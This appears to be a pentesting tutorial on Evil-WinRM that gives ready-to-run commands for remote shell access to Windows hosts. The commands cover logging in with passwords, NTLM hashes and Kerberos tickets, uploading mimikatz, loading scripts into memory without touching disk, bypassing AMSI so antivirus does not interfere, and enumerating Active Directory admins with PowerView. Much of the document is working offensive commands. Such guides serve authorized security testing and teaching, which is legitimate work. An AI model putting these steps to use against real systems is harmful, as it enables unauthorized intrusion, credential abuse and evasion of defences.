Evil-WinRM is a shell built specifically for pentesting Windows machines that have WinRM (Windows Remote Management) enabled. It provides a feature-rich interactive shell with built-in file upload/download, PowerShell script execution, and pass-the-hash support. WinRM runs on port 5985 (HTTP) and 5986 (HTTPS) and is enabled by default on Windows Server 2008 R2+ domain controllers.
Installation
# Ruby gem (recommended)
gem install evil-winrm
# Docker
docker pull oscarakaelvis/evil-winrm
Verify: evil-winrm --help
Basic Connection
# Username and password
evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!'
# Over HTTPS (port 5986)
evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!' -S
# Specify custom port
evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!' -P 5985
On connection, you get a PowerShell session prompt showing your username and the remote machine name.
Pass-the-Hash Authentication
No cleartext password required when you have NTLM hashes:
evil-winrm -i 192.168.1.10 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'
Format: LM_hash:NT_hash. If you only have the NT hash, pad the LM portion with aad3b435b51404eeaad3b435b51404ee (blank LM hash).
Kerberos Authentication
Use a Kerberos ticket (.ccache file) instead of a password:
export KRB5CCNAME=/tmp/admin.ccache
evil-winrm -i dc.domain.local -u administrator -r domain.local
File Transfer
Upload files to the target
# Interactive mode
upload /local/path/file.exe C:\Windows\Temp\file.exe
# Or just filename if in the same folder
upload mimikatz.exe
Download files from the target
download C:\Windows\Temp\interesting_file.txt /local/destination/
Load PowerShell scripts directly
# From the command line — load a .ps1 into memory (no disk touch)
evil-winrm -i 192.168.1.10 -u admin -p password -s /path/to/scripts/
Then inside the session:
Invoke-PowerShellScript.ps1
The -s flag specifies a directory of PS1 scripts to make available for in-memory loading — they don’t touch disk on the target.
Built-in Commands
Inside an Evil-WinRM session:
*Evil-WinRM* PS C:\Users\admin> menu
This shows available built-in modules. Useful ones:
| Command | Description |
|---|
Bypass-4MSI | Patch AMSI in memory to bypass antivirus |
Dll-Loader | Load DLLs directly into memory |
Donut-Loader | Execute shellcode via donut |
Invoke-Binary | Execute binary from memory (no disk touch) |
Bypass AMSI
AMSI (Antimalware Scan Interface) blocks many PowerShell attack tools. Bypass in one command:
*Evil-WinRM* PS> Bypass-4MSI
Then load tools like PowerView, SharpHound, or Rubeus without antivirus interference.
Load and run PowerView for AD enumeration:
# Specify scripts folder
evil-winrm -i 192.168.1.10 -u admin -p password -s /usr/share/windows-resources/powersploit/Recon/
# Inside session
PowerView.ps1
Get-NetUser | select name,description
Get-NetGroupMember "Domain Admins"
Checking WinRM Status on a Target
Before connecting, verify WinRM is open:
nmap -p 5985,5986 192.168.1.10
# Or
curl http://192.168.1.10:5985/wsman
Enable WinRM on a Windows machine (for lab setup):
Enable-PSRemoting -Force
# Allow all hosts (lab only)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"
SSL Certificate Authentication
For environments using client certificate authentication:
evil-winrm -i 192.168.1.10 -c certificate.pem -k private_key.pem -S
Troubleshooting
Connection refused: WinRM not running or firewall blocking 5985.
Access denied: Account not in Remote Management Users or Administrators group. Check:
Get-LocalGroupMember -Group "Remote Management Users"
SSL errors: Add -S -P 5986 and possibly -k to ignore cert validation.
Domain authentication: Use FQDN instead of IP and ensure DNS resolves correctly:
evil-winrm -i dc.domain.local -u domain\\user -p password
Evil-WinRM is often cleaner than PSExec for pentesting because it uses native Windows Remote Management — less artifacts, no service creation, and full PowerShell functionality including module loading.